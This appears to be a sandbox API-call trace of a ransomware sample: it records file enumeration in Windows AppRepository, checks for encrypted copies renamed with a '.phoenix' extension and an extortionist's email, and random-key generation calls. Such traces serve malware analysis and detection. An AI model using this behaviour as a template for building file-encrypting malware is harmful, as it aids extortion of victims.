	[0230.339] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.339] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.339] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.339] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=14496) returned 1
	[0230.339] CloseHandle (hObject=0x2f0) returned 1
	[0230.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.339] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.339] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.340] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.340] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=17884) returned 1
	[0230.340] CloseHandle (hObject=0x2f0) returned 1
	[0230.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.342] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.342] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.342] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.343] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=26678) returned 1
	[0230.343] CloseHandle (hObject=0x2f0) returned 1
	[0230.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.343] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.343] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.343] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.343] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=838) returned 1
	[0230.343] CloseHandle (hObject=0x2f0) returned 1
	[0230.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.344] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.zunevideo_3.6.13251.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.344] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.344] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.350] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8192) returned 1
	[0230.350] CloseHandle (hObject=0x2f0) returned 1
	[0230.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0230.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.350] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.350] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.351] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.357] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0230.357] CloseHandle (hObject=0x2f0) returned 1
	[0230.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0230.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.358] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.358] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.358] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.371] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8192) returned 1
	[0230.371] CloseHandle (hObject=0x2f0) returned 1
	[0230.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0230.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.371] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.372] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.372] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0230.458] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0230.458] CloseHandle (hObject=0x2c8) returned 1
	[0230.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0230.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.458] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.460] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.460] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0230.460] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=32768) returned 1
	[0230.461] CloseHandle (hObject=0x2c8) returned 1
	[0230.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0230.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.461] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.717] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.718] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0230.722] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8192) returned 1
	[0230.722] CloseHandle (hObject=0x2c8) returned 1
	[0230.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0230.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.722] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.910] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.910] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.939] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8192) returned 1
	[0230.939] CloseHandle (hObject=0x2f0) returned 1
	[0230.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0230.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.939] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.954] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.954] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.957] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0230.957] CloseHandle (hObject=0x2f4) returned 1
	[0230.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0230.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.957] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.996] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.996] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.lockapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
